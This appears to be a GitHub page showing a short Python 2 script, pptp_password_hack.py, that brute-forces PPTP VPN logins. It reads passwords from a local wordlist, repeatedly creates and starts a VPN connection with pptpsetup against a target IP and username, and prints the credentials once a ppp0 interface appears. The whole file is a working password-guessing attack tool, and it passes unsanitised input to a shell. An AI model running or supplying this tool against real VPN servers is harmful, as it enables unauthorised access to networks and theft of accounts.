-
Notifications
You must be signed in to change notification settings - Fork 114
/
pptp_password_hack.py
37 lines (36 loc) · 1.07 KB
/
pptp_password_hack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import os
import time
import subprocess
timeout = 10
def test_vpn(ip,name,password):
password = password[:-1]
del_vpn = os.popen('pptpsetup --delete testvpn').read()
command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
# print command
print '[*]Try to connect:%s,%s:%s'%(ip,name,password)
p = subprocess.Popen(command, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True)
time.sleep(timeout)
vpn_status = os.popen('ifconfig').read()
# print vpn_status
if vpn_status.find('ppp0') !=-1:
print ('[+]Success')
print 'User:%s'%(name)
print 'Password:%s'%(password)
print '[*]Try to clean up,kill pptp'
if os.system('pkill pptp')==0:
print 'Done.'
sys.exit(0)
else:
print '[!]Wrong username or password'
return False
if __name__ == '__main__':
if len(sys.argv)<3:
print '[!]Wrong parameter'
print 'Usage:'
print ' pptp_password_hack.py <ip> <user>'
sys.exit(0)
else:
file_object = open('wordlist', 'r')
for line in file_object:
test_vpn(sys.argv[1],sys.argv[2],line)